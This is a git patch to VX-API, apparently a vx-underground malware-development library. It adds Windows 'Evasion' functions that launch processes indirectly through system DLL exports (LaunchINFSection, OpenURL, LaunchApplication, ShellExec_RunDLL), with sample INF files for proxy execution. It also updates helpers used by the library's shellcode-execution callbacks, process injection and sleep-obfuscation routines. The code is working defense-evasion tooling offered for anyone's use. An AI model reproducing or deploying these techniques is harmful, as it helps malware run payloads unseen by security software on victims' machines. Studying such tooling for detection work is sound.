From 0ee9d00a9546ba7b2fa2cacd895ec1ec183e4276 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Sat, 4 Mar 2023 15:39:23 -0600 Subject: [PATCH] Version: 2.0.684 Version: 2.0.684 --- README.md | 11 +- ...ocessFromINFSectionInstallStringNoCab2.cpp | 115 ++++++++++++++++++ ...ocessFromINFSectionInstallStringNoCab3.cpp | 53 ++++++++ VX-API/CreateProcessFromIeFrameOpenUrl.cpp | 59 +++++++++ VX-API/CreateProcessFromPcwUtil.cpp | 59 +++++++++ VX-API/CreateProcessFromShdocVwOpenUrl.cpp | 58 +++++++++ ...reateProcessFromShell32ShellExecRunDll.cpp | 50 ++++++++ VX-API/GetCurrentProcessNoForward.cpp | 6 + VX-API/GetCurrentThreadNoForward.cpp | 6 + VX-API/GetCurrentUserSid.cpp | 4 +- VX-API/IsIntelHardwareBreakpointPresent.cpp | 2 +- VX-API/IsProcessRunningAsAdmin.cpp | 2 +- VX-API/Main.cpp | 2 +- VX-API/MpfPiControlInjection.cpp | 2 +- VX-API/MpfSceViaEnumDirTreeW.cpp | 6 +- VX-API/MpfSceViaEnumerateLoadedModules64.cpp | 2 +- VX-API/MpfSceViaSymEnumProcesses.cpp | 4 +- VX-API/MpfSceViaSymEnumSourceFiles.cpp | 6 +- VX-API/MpfSceViaVerifierEnumerateResource.cpp | 2 +- VX-API/ProxyWorkItemLoadLibrary.cpp | 4 +- VX-API/SetHardwareBreakpoint.cpp | 2 +- VX-API/SetProcessPrivilegeToken.cpp | 2 +- VX-API/SleepObfuscationViaVirtualProtect.cpp | 2 +- VX-API/VX-API.vcxproj | 8 ++ VX-API/VX-API.vcxproj.filters | 24 ++++ VX-API/Win32Helper.h | 17 ++- 26 files changed, 483 insertions(+), 25 deletions(-) create mode 100644 VX-API/CreateProcessFromINFSectionInstallStringNoCab2.cpp create mode 100644 VX-API/CreateProcessFromINFSectionInstallStringNoCab3.cpp create mode 100644 VX-API/CreateProcessFromIeFrameOpenUrl.cpp create mode 100644 VX-API/CreateProcessFromPcwUtil.cpp create mode 100644 VX-API/CreateProcessFromShdocVwOpenUrl.cpp create mode 100644 VX-API/CreateProcessFromShell32ShellExecRunDll.cpp create mode 100644 VX-API/GetCurrentProcessNoForward.cpp create mode 100644 VX-API/GetCurrentThreadNoForward.cpp diff --git a/README.md b/README.md index 4d8bdbc..2be9b80 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ managed by [vx-underground](https://vx-underground.org) | follow us on [Twitter] # VX-API -Version: 2.0.658 +Version: 2.0.684 Developer: smelly__vx @@ -103,6 +103,13 @@ You're free to use this in any manner you please. You do not need to use this en | CopyFileViaSetupCopyFile | smelly__vx | Evasion | | CreateProcessFromINFSectionInstallStringNoCab | smelly__vx | Evasion | | CreateProcessFromINFSetupCommand | smelly__vx | Evasion | +| CreateProcessFromINFSectionInstallStringNoCab2 | smelly__vx | Evasion | +| CreateProcessFromIeFrameOpenUrl | smelly__vx | Evasion | +| CreateProcessFromPcwUtil | smelly__vx | Evasion | +| CreateProcessFromShdocVwOpenUrl | smelly__vx | Evasion | +| CreateProcessFromShell32ShellExecRunDll | smelly__vx | Evasion | + +| CreateProcessFromPcwUtil | smelly__vx | Evasion | | GetCurrentLocaleFromTeb | 3xp0rt | Fingerprinting | | GetNumberOfLinkedDlls | smelly__vx | Fingerprinting | | GetOsBuildNumberFromPeb | smelly__vx | Fingerprinting | @@ -150,6 +157,8 @@ You're free to use this in any manner you please. You do not need to use this en | WriteDataToPeSection | smelly__vx | Helper Functions | | GetPeSectionSizeInByte | smelly__vx | Helper Functions | | ReadDataFromPeSection | smelly__vx | Helper Functions | +| GetCurrentProcessNoForward | ReactOS | Helper Functions | +| GetCurrentThreadNoForward | ReactOS | Helper Functions | | GetKUserSharedData | Geoff Chappell | Library Loading | | GetModuleHandleEx2 | smelly__vx | Library Loading | | GetPeb | 29a | Library Loading | diff --git a/VX-API/CreateProcessFromINFSectionInstallStringNoCab2.cpp b/VX-API/CreateProcessFromINFSectionInstallStringNoCab2.cpp new file mode 100644 index 0000000..d95fe55 --- /dev/null +++ b/VX-API/CreateProcessFromINFSectionInstallStringNoCab2.cpp @@ -0,0 +1,115 @@ +#include "Win32Helper.h" + +/* + +Example .inf file +_______________ +/////////////// +‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ +[version] +signature = $Chicago$ +AdvancedInf = 2.5 + +[DefaultInstall_SingleUser] +RunPostSetupCommands = Tag1 + +[Tag1] +C:\Windows\system32\calc.exe +_______________ +/////////////// +‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ +*/ + +BOOL CreateProcessFromINFSectionInstallStringNoCab2W(LPCWSTR PathToInfFile, LPCWSTR NameOfSection) +{ + typedef HRESULT(WINAPI* LAUNCHINFSECTIONW)(HWND, HINSTANCE, PWSTR, INT); + LAUNCHINFSECTIONW LaunchINFSectionW = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + WCHAR InfExecutionBuffer[MAX_PATH * 2] = { 0 }; + + hMod = LoadLibraryW(L"ieadvpack.dll"); + if (hMod == NULL) + goto EXIT_ROUTINE; + + LaunchINFSectionW = (LAUNCHINFSECTIONW)GetProcAddressA((DWORD64)hMod, "LaunchINFSectionW"); + if (!LaunchINFSectionW) + goto EXIT_ROUTINE; + + if (StringCopyW(InfExecutionBuffer, PathToInfFile) == NULL) + goto EXIT_ROUTINE; + + if (StringConcatW(InfExecutionBuffer, L",") == NULL) + goto EXIT_ROUTINE; + + if (StringConcatW(InfExecutionBuffer, NameOfSection) == NULL) + goto EXIT_ROUTINE; + + if (StringConcatW(InfExecutionBuffer, L",") == NULL) + goto EXIT_ROUTINE; + + if (StringConcatW(InfExecutionBuffer, L"1") == NULL) + goto EXIT_ROUTINE; + + if (StringConcatW(InfExecutionBuffer, L",") == NULL) + goto EXIT_ROUTINE; + + if (!SUCCEEDED(LaunchINFSectionW(NULL, NULL, InfExecutionBuffer, 0))) + goto EXIT_ROUTINE; + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hMod) + FreeLibrary(hMod); + + return bFlag; +} + +BOOL CreateProcessFromINFSectionInstallStringNoCab2A(LPCSTR PathToInfFile, LPCSTR NameOfSection) +{ + typedef HRESULT(WINAPI* LAUNCHINFSECTION)(HWND, HINSTANCE, PSTR, INT); + LAUNCHINFSECTION LaunchINFSection = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + CHAR InfExecutionBuffer[MAX_PATH * 2] = { 0 }; + + hMod = LoadLibraryW(L"ieadvpack.dll"); + if (hMod == NULL) + goto EXIT_ROUTINE; + + LaunchINFSection = (LAUNCHINFSECTION)GetProcAddressA((DWORD64)hMod, "LaunchINFSection"); + if (!LaunchINFSection) + goto EXIT_ROUTINE; + + if (StringCopyA(InfExecutionBuffer, PathToInfFile) == NULL) + goto EXIT_ROUTINE; + + if (StringConcatA(InfExecutionBuffer, ",") == NULL) + goto EXIT_ROUTINE; + + if (StringConcatA(InfExecutionBuffer, NameOfSection) == NULL) + goto EXIT_ROUTINE; + + if (StringConcatA(InfExecutionBuffer, ",") == NULL) + goto EXIT_ROUTINE; + + if (StringConcatA(InfExecutionBuffer, "1") == NULL) + goto EXIT_ROUTINE; + + if (StringConcatA(InfExecutionBuffer, ",") == NULL) + goto EXIT_ROUTINE; + + if (!SUCCEEDED(LaunchINFSection(NULL, NULL, InfExecutionBuffer, 0))) + goto EXIT_ROUTINE; + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hMod) + FreeLibrary(hMod); + + return bFlag; +} \ No newline at end of file diff --git a/VX-API/CreateProcessFromINFSectionInstallStringNoCab3.cpp b/VX-API/CreateProcessFromINFSectionInstallStringNoCab3.cpp new file mode 100644 index 0000000..03efe7e --- /dev/null +++ b/VX-API/CreateProcessFromINFSectionInstallStringNoCab3.cpp @@ -0,0 +1,53 @@ +#include "Win32Helper.h" + +/* + +Example .inf file +_______________ +/////////////// +‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ +; ---------------------------------------------------------------------- +; Required Sections +; ---------------------------------------------------------------------- +[Version] +Signature=$CHICAGO$ +Provider=test +Class=Printer + +[Manufacturer] +HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64 + +; ---------------------------------------------------------------------- +; Models Section +; ---------------------------------------------------------------------- +[ModelsSection.NTx86] +UnregisterDlls = Squiblydoo + +[ModelsSection.NTia64] +UnregisterDlls = Squiblydoo + +[ModelsSection.NTamd64] +UnregisterDlls = Squiblydoo + +; ---------------------------------------------------------------------- +; Support Sections +; ---------------------------------------------------------------------- +[DefaultInstall] +UnregisterDlls = Squiblydoo + +[Squiblydoo] +calc.exe +_______________ +/////////////// +‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ +*/ + +BOOL CreateProcessFromINFSectionInstallStringNoCab3W(LPCWSTR PathToInfFile, LPCWSTR NameOfSection) +{ + return FALSE; +} + +BOOL CreateProcessFromINFSectionInstallStringNoCab3A(LPCSTR PathToInfFile, LPCSTR NameOfSection) +{ + return FALSE; +} \ No newline at end of file diff --git a/VX-API/CreateProcessFromIeFrameOpenUrl.cpp b/VX-API/CreateProcessFromIeFrameOpenUrl.cpp new file mode 100644 index 0000000..3545d59 --- /dev/null +++ b/VX-API/CreateProcessFromIeFrameOpenUrl.cpp @@ -0,0 +1,59 @@ +#include "Win32Helper.h" + +BOOL CreateProcessFromIeFrameOpenUrlW(LPCWSTR PathToUrlFile) +{ + typedef VOID(WINAPI* OPENURL)(HWND, HINSTANCE, LPCSTR); + OPENURL OpenUrl = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + CHAR ccPathToUrlFile[MAX_PATH] = { 0 }; + + if (WCharStringToCharString(ccPathToUrlFile, (PWCHAR)PathToUrlFile, StringLengthW(PathToUrlFile)) == 0) + goto EXIT_ROUTINE; + + hMod = LoadLibraryW(L"ieframe.dll"); + if (hMod == NULL) + goto EXIT_ROUTINE; + + OpenUrl = (OPENURL)GetProcAddressA((DWORD64)hMod, "OpenURL"); + if (!OpenUrl) + goto EXIT_ROUTINE; + + OpenUrl(NULL, NULL, ccPathToUrlFile); + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hMod) + FreeLibrary(hMod); + + return bFlag; +} + +BOOL CreateProcessFromIeFrameOpenUrlA(LPCSTR PathToUrlFile) +{ + typedef VOID(WINAPI* OPENURL)(HWND, HINSTANCE, LPCSTR); + OPENURL OpenUrl = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + + hMod = LoadLibraryW(L"ieframe.dll"); + if (hMod == NULL) + goto EXIT_ROUTINE; + + OpenUrl = (OPENURL)GetProcAddressA((DWORD64)hMod, "OpenUrl"); + if (!OpenUrl) + goto EXIT_ROUTINE; + + OpenUrl(NULL, NULL, PathToUrlFile); + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hMod) + FreeLibrary(hMod); + + return bFlag; +} \ No newline at end of file diff --git a/VX-API/CreateProcessFromPcwUtil.cpp b/VX-API/CreateProcessFromPcwUtil.cpp new file mode 100644 index 0000000..8f16dc4 --- /dev/null +++ b/VX-API/CreateProcessFromPcwUtil.cpp @@ -0,0 +1,59 @@ +#include "Win32Helper.h" + +BOOL CreateProcessFromPcwUtilW(LPCWSTR PathToBinary) +{ + typedef VOID(WINAPI* LAUNCHAPPLICATIONW)(HWND, HINSTANCE, LPCWSTR); + LAUNCHAPPLICATIONW LaunchApplicationW = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + + hMod = LoadLibraryW(L"pcwutl.dll"); + if (hMod == NULL) + goto EXIT_ROUTINE; + + LaunchApplicationW = (LAUNCHAPPLICATIONW)GetProcAddressA((DWORD64)hMod, "LaunchApplicationW"); + if (!LaunchApplicationW) + goto EXIT_ROUTINE; + + LaunchApplicationW(NULL, NULL, PathToBinary); + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hMod) + FreeLibrary(hMod); + + return bFlag; +} + +BOOL CreateProcessFromPcwUtilA(LPCSTR PathToBinary) +{ + typedef VOID(WINAPI* LAUNCHAPPLICATIONW)(HWND, HINSTANCE, LPCWSTR); + LAUNCHAPPLICATIONW LaunchApplicationW = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + WCHAR wBinaryPath[MAX_PATH * sizeof(WCHAR)] = { 0 }; + + if (CharStringToWCharString(wBinaryPath, (PCHAR)PathToBinary, StringLengthA(PathToBinary)) == NULL) + goto EXIT_ROUTINE; + + hMod = LoadLibraryW(L"pcwutl.dll"); + if (hMod == NULL) + goto EXIT_ROUTINE; + + LaunchApplicationW = (LAUNCHAPPLICATIONW)GetProcAddressA((DWORD64)hMod, "LaunchApplicationW"); + if (!LaunchApplicationW) + goto EXIT_ROUTINE; + + LaunchApplicationW(NULL, NULL, wBinaryPath); + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hMod) + FreeLibrary(hMod); + + return bFlag; +} \ No newline at end of file diff --git a/VX-API/CreateProcessFromShdocVwOpenUrl.cpp b/VX-API/CreateProcessFromShdocVwOpenUrl.cpp new file mode 100644 index 0000000..2e4b4a0 --- /dev/null +++ b/VX-API/CreateProcessFromShdocVwOpenUrl.cpp @@ -0,0 +1,58 @@ +#include "Win32Helper.h" + +BOOL CreateProcessFromShdocVwOpenUrlW(LPCWSTR PathToUrlFile) +{ + typedef VOID(WINAPI* OPENURL)(HWND, HINSTANCE, LPCSTR); + OPENURL OpenUrl = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + CHAR ccPathToUrlFile[MAX_PATH] = { 0 }; + + if (WCharStringToCharString(ccPathToUrlFile, (PWCHAR)PathToUrlFile, StringLengthW(PathToUrlFile)) == 0) + goto EXIT_ROUTINE; + + hMod = LoadLibraryW(L"shdocvw.dll"); + if (hMod == NULL) + goto EXIT_ROUTINE; + + OpenUrl = (OPENURL)GetProcAddressA((DWORD64)hMod, "OpenURL"); + if (!OpenUrl) + goto EXIT_ROUTINE; + + OpenUrl(NULL, NULL, ccPathToUrlFile); + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hMod) + FreeLibrary(hMod); + + return bFlag; +} +BOOL CreateProcessFromShdocVwOpenUrlA(LPCSTR PathToUrlFile) +{ + typedef VOID(WINAPI* OPENURL)(HWND, HINSTANCE, LPCSTR); + OPENURL OpenUrl = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + + hMod = LoadLibraryW(L"shdocvw.dll"); + if (hMod == NULL) + goto EXIT_ROUTINE; + + OpenUrl = (OPENURL)GetProcAddressA((DWORD64)hMod, "OpenUrl"); + if (!OpenUrl) + goto EXIT_ROUTINE; + + OpenUrl(NULL, NULL, PathToUrlFile); + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hMod) + FreeLibrary(hMod); + + return bFlag; +} \ No newline at end of file diff --git a/VX-API/CreateProcessFromShell32ShellExecRunDll.cpp b/VX-API/CreateProcessFromShell32ShellExecRunDll.cpp new file mode 100644 index 0000000..d796036 --- /dev/null +++ b/VX-API/CreateProcessFromShell32ShellExecRunDll.cpp @@ -0,0 +1,50 @@ +#include "Win32Helper.h" + +BOOL CreateProcessFromShell32ShellExecRunDllW(LPCWSTR PathToFile) +{ + typedef VOID(WINAPI* SHELLEXEC_RUNDLLW)(HWND, HINSTANCE, LPCWSTR, INT); + SHELLEXEC_RUNDLLW ShellExec_RunDllW = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + + hMod = TryLoadDllMultiMethodW((PWCHAR)L"shell32.dll"); + if (hMod == NULL) + goto EXIT_ROUTINE; + + ShellExec_RunDllW = (SHELLEXEC_RUNDLLW)GetProcAddressA((DWORD64)hMod, "ShellExec_RunDLLW"); + if (!ShellExec_RunDllW) + goto EXIT_ROUTINE; + + ShellExec_RunDllW(NULL, NULL, PathToFile, SW_SHOW); + + bFlag = TRUE; + +EXIT_ROUTINE: + + + return bFlag; +} + +BOOL CreateProcessFromShell32ShellExecRunDllA(LPCSTR PathToFile) +{ + typedef VOID(WINAPI* SHELLEXEC_RUNDLLA)(HWND, HINSTANCE, LPCSTR, INT); + SHELLEXEC_RUNDLLA ShellExec_RunDllA = NULL; + HMODULE hMod = NULL; + BOOL bFlag = FALSE; + + hMod = TryLoadDllMultiMethodW((PWCHAR)L"shell32.dll"); + if (hMod == NULL) + goto EXIT_ROUTINE; + + ShellExec_RunDllA = (SHELLEXEC_RUNDLLA)GetProcAddressA((DWORD64)hMod, "ShellExec_RunDLLA"); + if (!ShellExec_RunDllA) + goto EXIT_ROUTINE; + + ShellExec_RunDllA(NULL, NULL, PathToFile, SW_SHOW); + + bFlag = TRUE; + +EXIT_ROUTINE: + + return bFlag; +} \ No newline at end of file diff --git a/VX-API/GetCurrentProcessNoForward.cpp b/VX-API/GetCurrentProcessNoForward.cpp new file mode 100644 index 0000000..f13c3e1 --- /dev/null +++ b/VX-API/GetCurrentProcessNoForward.cpp @@ -0,0 +1,6 @@ +#include "Win32Helper.h" + +HANDLE GetCurrentProcessNoForward(VOID) +{ + return (HANDLE)((HANDLE)-1); +} \ No newline at end of file diff --git a/VX-API/GetCurrentThreadNoForward.cpp b/VX-API/GetCurrentThreadNoForward.cpp new file mode 100644 index 0000000..2244c74 --- /dev/null +++ b/VX-API/GetCurrentThreadNoForward.cpp @@ -0,0 +1,6 @@ +#include "Win32Helper.h" + +HANDLE GetCurrentThreadNoForward(VOID) +{ + return ((HANDLE)(LONG_PTR)-2); +} \ No newline at end of file diff --git a/VX-API/GetCurrentUserSid.cpp b/VX-API/GetCurrentUserSid.cpp index 594bfca..fbcf5d1 100644 --- a/VX-API/GetCurrentUserSid.cpp +++ b/VX-API/GetCurrentUserSid.cpp @@ -19,7 +19,7 @@ LPWSTR GetCurrentUserSidW(VOID) LPWSTR pSid = NULL; HANDLE hToken = NULL; - if (!OpenProcessToken(InlineGetCurrentProcess, TOKEN_ALL_ACCESS, &hToken)) + if (!OpenProcessToken(GetCurrentProcessNoForward(), TOKEN_ALL_ACCESS, &hToken)) return NULL; dwError = GetTokenInformationBufferSize(hToken); @@ -84,7 +84,7 @@ LPSTR GetCurrentUserSidA(VOID) LPSTR pSid = NULL; HANDLE hToken = NULL; - if (!OpenProcessToken(InlineGetCurrentProcess, TOKEN_ALL_ACCESS, &hToken)) + if (!OpenProcessToken(GetCurrentProcessNoForward(), TOKEN_ALL_ACCESS, &hToken)) return NULL; dwError = GetTokenInformationBufferSize(hToken); diff --git a/VX-API/IsIntelHardwareBreakpointPresent.cpp b/VX-API/IsIntelHardwareBreakpointPresent.cpp index 663c2e4..7e643da 100644 --- a/VX-API/IsIntelHardwareBreakpointPresent.cpp +++ b/VX-API/IsIntelHardwareBreakpointPresent.cpp @@ -13,7 +13,7 @@ BOOL IsIntelHardwareBreakpointPresent(VOID) Context->ContextFlags = CONTEXT_DEBUG_REGISTERS; - if (!GetThreadContext(InlineGetCurrentThread, Context)) + if (!GetThreadContext(GetCurrentThreadNoForward(), Context)) goto EXIT_ROUTINE; if (Context->Dr0 || Context->Dr1 || Context->Dr2 || Context->Dr3) diff --git a/VX-API/IsProcessRunningAsAdmin.cpp b/VX-API/IsProcessRunningAsAdmin.cpp index f381798..c44b457 100644 --- a/VX-API/IsProcessRunningAsAdmin.cpp +++ b/VX-API/IsProcessRunningAsAdmin.cpp @@ -7,7 +7,7 @@ BOOL IsProcessRunningAsAdmin(VOID) DWORD dwSize = 0; BOOL bFlag = FALSE; - if (!OpenProcessToken(InlineGetCurrentProcess, TOKEN_QUERY, &hToken)) + if (!OpenProcessToken(GetCurrentProcessNoForward(), TOKEN_QUERY, &hToken)) goto EXIT_ROUTINE; if (!GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &dwSize)) diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp index 2e31987..ec0724a 100644 --- a/VX-API/Main.cpp +++ b/VX-API/Main.cpp @@ -9,7 +9,7 @@ INT main(VOID) //BOOL bFlag = AmsiBypassViaPatternScan(4288); - CreateProcessFromINFSectionInstallStringNoCabA("C:\\Users\\dwThr\\Desktop\\demo.inf", "DefaultInstall_SingleUser"); + CreateProcessFromShell32ShellExecRunDllW(L"C:\\Windows\\System32\\calc.exe"); return ERROR_SUCCESS; } diff --git a/VX-API/MpfPiControlInjection.cpp b/VX-API/MpfPiControlInjection.cpp index 4e49d03..b984003 100644 --- a/VX-API/MpfPiControlInjection.cpp +++ b/VX-API/MpfPiControlInjection.cpp @@ -29,7 +29,7 @@ BOOL MpfPiControlInjection(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes, _I if (!RtlEncodeRemotePointer) goto EXIT_ROUTINE; - if (!K32GetModuleInformation(InlineGetCurrentProcess, hKernelbase, &KernelbaseInformation, sizeof(KernelbaseInformation))) + if (!K32GetModuleInformation(GetCurrentProcessNoForward(), hKernelbase, &KernelbaseInformation, sizeof(KernelbaseInformation))) goto EXIT_ROUTINE; KernelBaseDefaultHandler = (PCHAR)MemoryFindMemory(hKernelbase, KernelbaseInformation.SizeOfImage, (PVOID)"\x48\x83\xec\x28\xb9\x3a\x01\x00\xc0", 9); diff --git a/VX-API/MpfSceViaEnumDirTreeW.cpp b/VX-API/MpfSceViaEnumDirTreeW.cpp index 12badcc..9ec7ba0 100644 --- a/VX-API/MpfSceViaEnumDirTreeW.cpp +++ b/VX-API/MpfSceViaEnumDirTreeW.cpp @@ -4,12 +4,12 @@ VOID InvokeEnumDirTreeWThreadCallbackRoutine(LPVOID lpParameter) { WCHAR DisposeableBuffer[512] = { 0 }; - if (!SymInitialize(InlineGetCurrentProcess, NULL, TRUE)) + if (!SymInitialize(GetCurrentProcessNoForward(), NULL, TRUE)) return; - EnumDirTreeW(InlineGetCurrentProcess, L"C:\\Windows", L"*.log", DisposeableBuffer, (PENUMDIRTREE_CALLBACKW)lpParameter, NULL); + EnumDirTreeW(GetCurrentProcessNoForward(), L"C:\\Windows", L"*.log", DisposeableBuffer, (PENUMDIRTREE_CALLBACKW)lpParameter, NULL); - SymCleanup(InlineGetCurrentProcess); + SymCleanup(GetCurrentProcessNoForward()); } BOOL MpfSceViaEnumDirTreeW(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes) diff --git a/VX-API/MpfSceViaEnumerateLoadedModules64.cpp b/VX-API/MpfSceViaEnumerateLoadedModules64.cpp index 4eb8acf..575c840 100644 --- a/VX-API/MpfSceViaEnumerateLoadedModules64.cpp +++ b/VX-API/MpfSceViaEnumerateLoadedModules64.cpp @@ -2,7 +2,7 @@ VOID InvokeEnumerateLoadedModules64CallbackRoutine(LPVOID lpParameter) { - EnumerateLoadedModules64(InlineGetCurrentProcess, (PENUMLOADED_MODULES_CALLBACK64)lpParameter, NULL); + EnumerateLoadedModules64(GetCurrentProcessNoForward(), (PENUMLOADED_MODULES_CALLBACK64)lpParameter, NULL); } BOOL MpfSceViaEnumerateLoadedModules64(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes) diff --git a/VX-API/MpfSceViaSymEnumProcesses.cpp b/VX-API/MpfSceViaSymEnumProcesses.cpp index 993e3e1..c3c7b14 100644 --- a/VX-API/MpfSceViaSymEnumProcesses.cpp +++ b/VX-API/MpfSceViaSymEnumProcesses.cpp @@ -2,7 +2,7 @@ VOID InvokeSymEnumProcessesCallbackRoutine(LPVOID lpParameter) { - if (!SymInitializeW(GetCurrentProcess(), NULL, FALSE)) + if (!SymInitializeW(GetCurrentProcessNoForward(), NULL, FALSE)) return; #pragma warning( push ) @@ -10,7 +10,7 @@ VOID InvokeSymEnumProcessesCallbackRoutine(LPVOID lpParameter) SymEnumProcesses((PSYM_ENUMPROCESSES_CALLBACK)lpParameter, NULL); #pragma warning( pop ) - SymCleanup(GetCurrentProcess()); + SymCleanup(GetCurrentProcessNoForward()); } diff --git a/VX-API/MpfSceViaSymEnumSourceFiles.cpp b/VX-API/MpfSceViaSymEnumSourceFiles.cpp index a30119b..ac4f0b4 100644 --- a/VX-API/MpfSceViaSymEnumSourceFiles.cpp +++ b/VX-API/MpfSceViaSymEnumSourceFiles.cpp @@ -2,12 +2,12 @@ VOID InvokeSymEnumSourceFilesCallbackRoutine(LPVOID lpParameter) { - if (!SymInitializeW(GetCurrentProcess(), NULL, TRUE)) + if (!SymInitializeW(GetCurrentProcessNoForward(), NULL, TRUE)) return; - SymEnumSourceFilesW(GetCurrentProcess(), NULL, NULL, (PSYM_ENUMSOURCEFILES_CALLBACKW)lpParameter, NULL); + SymEnumSourceFilesW(GetCurrentProcessNoForward(), NULL, NULL, (PSYM_ENUMSOURCEFILES_CALLBACKW)lpParameter, NULL); - SymCleanup(GetCurrentProcess()); + SymCleanup(GetCurrentProcessNoForward()); } BOOL MpfSceViaSymEnumSourceFiles(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes) diff --git a/VX-API/MpfSceViaVerifierEnumerateResource.cpp b/VX-API/MpfSceViaVerifierEnumerateResource.cpp index 02def6a..1d9724b 100644 --- a/VX-API/MpfSceViaVerifierEnumerateResource.cpp +++ b/VX-API/MpfSceViaVerifierEnumerateResource.cpp @@ -16,7 +16,7 @@ VOID InvokeVerifierEnumerateResourceCallbackRoutine(LPVOID lpParameter) if (!VerifierEnumerateResource) return; - VerifierEnumerateResource(GetCurrentProcess(), NULL, 0, (AVRF_RESOURCE_ENUMERATE_CALLBACK)lpParameter, NULL); + VerifierEnumerateResource(GetCurrentProcessNoForward(), NULL, 0, (AVRF_RESOURCE_ENUMERATE_CALLBACK)lpParameter, NULL); return; } diff --git a/VX-API/ProxyWorkItemLoadLibrary.cpp b/VX-API/ProxyWorkItemLoadLibrary.cpp index 318446f..550d2b4 100644 --- a/VX-API/ProxyWorkItemLoadLibrary.cpp +++ b/VX-API/ProxyWorkItemLoadLibrary.cpp @@ -18,7 +18,7 @@ HMODULE ProxyWorkItemLoadLibraryW(_In_ LPCWSTR lpModuleName) Timeout.QuadPart = -500000; - NtWaitForSingleObject(InlineGetCurrentProcess, FALSE, &Timeout); + NtWaitForSingleObject(GetCurrentProcessNoForward(), FALSE, &Timeout); return GetModuleHandleEx2W(lpModuleName); } @@ -41,7 +41,7 @@ HMODULE ProxyWorkItemLoadLibraryA(_In_ LPCSTR lpModuleName) Timeout.QuadPart = -500000; - NtWaitForSingleObject(InlineGetCurrentProcess, FALSE, &Timeout); + NtWaitForSingleObject(GetCurrentProcessNoForward(), FALSE, &Timeout); return GetModuleHandleEx2A(lpModuleName); } \ No newline at end of file diff --git a/VX-API/SetHardwareBreakpoint.cpp b/VX-API/SetHardwareBreakpoint.cpp index ecbfba8..1fd29a0 100644 --- a/VX-API/SetHardwareBreakpoint.cpp +++ b/VX-API/SetHardwareBreakpoint.cpp @@ -13,7 +13,7 @@ BOOL SetHardwareBreakpoint(_In_ DWORD ThreadId, _In_ PUINT_VAR_T Address, _In_ U goto EXIT_ROUTINE; } else - hHandle = InlineGetCurrentThread; + hHandle = GetCurrentThreadNoForward(); if (!GetThreadContext(hHandle, &Context)) goto EXIT_ROUTINE; diff --git a/VX-API/SetProcessPrivilegeToken.cpp b/VX-API/SetProcessPrivilegeToken.cpp index 504f178..0feb19f 100644 --- a/VX-API/SetProcessPrivilegeToken.cpp +++ b/VX-API/SetProcessPrivilegeToken.cpp @@ -2,7 +2,7 @@ BOOL SetProcessPrivilegeToken(_In_ DWORD PrivilegeEnum) { - HANDLE Process = InlineGetCurrentProcess; + HANDLE Process = GetCurrentProcessNoForward(); HANDLE Token = INVALID_HANDLE_VALUE; TOKEN_PRIVILEGES Privileges = { 0 }; DWORD TokenLength = 0; diff --git a/VX-API/SleepObfuscationViaVirtualProtect.cpp b/VX-API/SleepObfuscationViaVirtualProtect.cpp index 37fa103..13aa50a 100644 --- a/VX-API/SleepObfuscationViaVirtualProtect.cpp +++ b/VX-API/SleepObfuscationViaVirtualProtect.cpp @@ -97,7 +97,7 @@ BOOL SleepObfuscationViaVirtualProtect(_In_ DWORD dwSleepTimeInMilliseconds, _In // WaitForSingleObject RopWaitForSingleObject.Rsp -= 8; RopWaitForSingleObject.Rip = (DWORD64)WaitForSingleObject; - RopWaitForSingleObject.Rcx = (DWORD64)InlineGetCurrentProcess; + RopWaitForSingleObject.Rcx = (DWORD64)GetCurrentProcessNoForward(); RopWaitForSingleObject.Rdx = dwSleepTimeInMilliseconds; // SystemFunction032 diff --git a/VX-API/VX-API.vcxproj b/VX-API/VX-API.vcxproj index e347b34..ba33b98 100644 --- a/VX-API/VX-API.vcxproj +++ b/VX-API/VX-API.vcxproj @@ -152,11 +152,17 @@ + + + + + + @@ -173,6 +179,8 @@ + + diff --git a/VX-API/VX-API.vcxproj.filters b/VX-API/VX-API.vcxproj.filters index d809b32..71360f9 100644 --- a/VX-API/VX-API.vcxproj.filters +++ b/VX-API/VX-API.vcxproj.filters @@ -771,6 +771,30 @@ Source Files\Windows API Helper Functions\Evasion + + Source Files\Windows API Helper Functions\Evasion + + + Source Files\Windows API Helper Functions\Helper Functions + + + Source Files\Windows API Helper Functions\Helper Functions + + + Source Files\Windows API Helper Functions\Evasion + + + Source Files\Windows API Helper Functions\Evasion + + + Source Files\Windows API Helper Functions\Evasion + + + Source Files\Windows API Helper Functions\Evasion + + + Source Files\Windows API Helper Functions\Evasion + diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h index 3ef68a8..c8a26bc 100644 --- a/VX-API/Win32Helper.h +++ b/VX-API/Win32Helper.h @@ -47,9 +47,6 @@ #define Get16Bits(d) ((((UINT32)(((CONST UINT8*)(d))[1])) << 8) +(UINT32)(((CONST UINT8*)(d))[0])) -#define InlineGetCurrentThread ((HANDLE)(LONG_PTR)-2) -#define 